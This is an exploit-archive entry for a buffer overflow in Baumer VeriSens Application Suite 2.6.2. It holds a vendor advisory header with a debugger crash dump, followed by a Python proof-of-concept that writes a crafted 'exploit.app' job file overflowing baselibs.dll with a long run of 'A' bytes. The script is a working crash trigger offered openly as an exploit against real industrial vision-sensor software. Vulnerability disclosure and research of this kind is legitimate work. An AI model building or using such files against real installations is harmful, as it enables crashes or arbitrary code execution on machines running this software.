Baumer VeriSens Application Suite 2.6.2 - Buffer Overflow Vulnerability

#!/usr/bin/env python

#

# Baumer VeriSens Application Suite 2.6.2 Buffer Overflow Vulnerability

#

# Vendor: Baumer Holding AG | Baumer Optronic GmbH

# Product web page: http://www.baumer.com

# Software link: http://www.baumer.com/us-en/products/identification-image-processing/software-and-starter-kits/verisens-application-suite/

# Affected version: 2.6.2 (ID-CS-XF-XC)

#

# Summary: The Baumer Application Suite is the intuitive configuration

# software for VeriSens vision sensors, which makes it quick and simple

# for even new users to implement image processing tasks. Starting with

# the creation of test tasks through to the management of jobs, the program

# will take you through just a few steps to reach your goal.

#

# Desc: The vulnerability is caused due to a boundary error in baselibs.dll

# library when processing device job file, which can be exploited to cause

# a buffer overflow when a user opens e.g. a specially crafted .APP file.

# Successful exploitation could allow execution of arbitrary code on the

# affected machine.

#

# -------------------------------------------------------------------------

# (78c.cb0): Access violation - code c0000005 (first chance)

# First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

# Exported symbols for C:\Program Files (x86)\Baumer\VeriSens Application Suite v2.6.2\AppSuite\baselibs.dll -

# eax=4d81ab45 ebx=4d81ab45 ecx=41414141 edx=41414141 esi=4d81ab45 edi=0c17e010

# eip=56bc4186 esp=0040a020 ebp=0040a020 iopl=0 nv up ei pl nz na po nc

# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202

# baselibs!b_Int_restore+0x6:

# 56bc4186 8b00 mov eax,dword ptr [eax] ds:002b:4d81ab45=????????

# 0:000> u

# baselibs!b_Int_restore+0x6:

# 56bc4186 8b00 mov eax,dword ptr [eax]

# 56bc4188 8bc8 mov ecx,eax

# 56bc418a 8bd0 mov edx,eax

# 56bc418c c1ea18 shr edx,18h

# 56bc418f c1f908 sar ecx,8

# 56bc4192 81e100ff0000 and ecx,0FF00h

# 56bc4198 0bca or ecx,edx

# 56bc419a 8bd0 mov edx,eax

# 0:000> dds

# 56bc6b86 00107d80

# 56bc6b8a 8b117457

# 56bc6b8e f0e181cb

# 56bc6b92 e8000000

# 56bc6b96 fffff9e6

# 56bc6b9a 02ebf88b

# 56bc6b9e ff85fa8b

# 56bc6ba6 68000001

# 56bc6baa 56c2afa4 baselibs!VsInfoFeed::Listener::`vftable'+0xb154

# 56bc6bae 3f8ce857

# 56bc6bb2 c483ffff

# 56bc6bb6 75c0850c USER32!SetKeyboardState+0x705a

# 56bc6bba 325b5f07

# -------------------------------------------------------------------------

#

# Tested on: Microsoft Windows 7 Professional SP1 (EN)

# Microsoft Windows 7 Ultimate SP1 (EN)

#

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

#

# Advisory ID: ZSL-2016-5303

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5303.php

#

# 14.11.2015

#

header = ("\x00\x00\x00\x01\x00\x00\x00\x04\x95\xCF\x82\xF6\x00\x00\x00"

"\x01\x00\x00\x00\x04\x00\x00\x00\x2B\x00\x00\x00\x50\x00\x00"

" \x00\x05\x43\x6F\x64\x65\x00\x00\x00\x00\x50\x00\x00\x00\x01"

"\x00\x00\x00\x00\x50\x00\x00\x00") #\x0F

buffer = "\x41" * 6719 + "\x42\x42\x42\x42"

f = open ("exploit.app", "w")

f.write(header + buffer +'\x0F')

f.close()

print "File exploit.app created!\n"

EKU-ID: 5385	CVE:	OSVDB-ID:
Author: LiquidWorm	Published: 2016-02-14	Verified:
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Baumer VeriSens Application Suite 2.6.2 - Buffer Overflow Vulnerability

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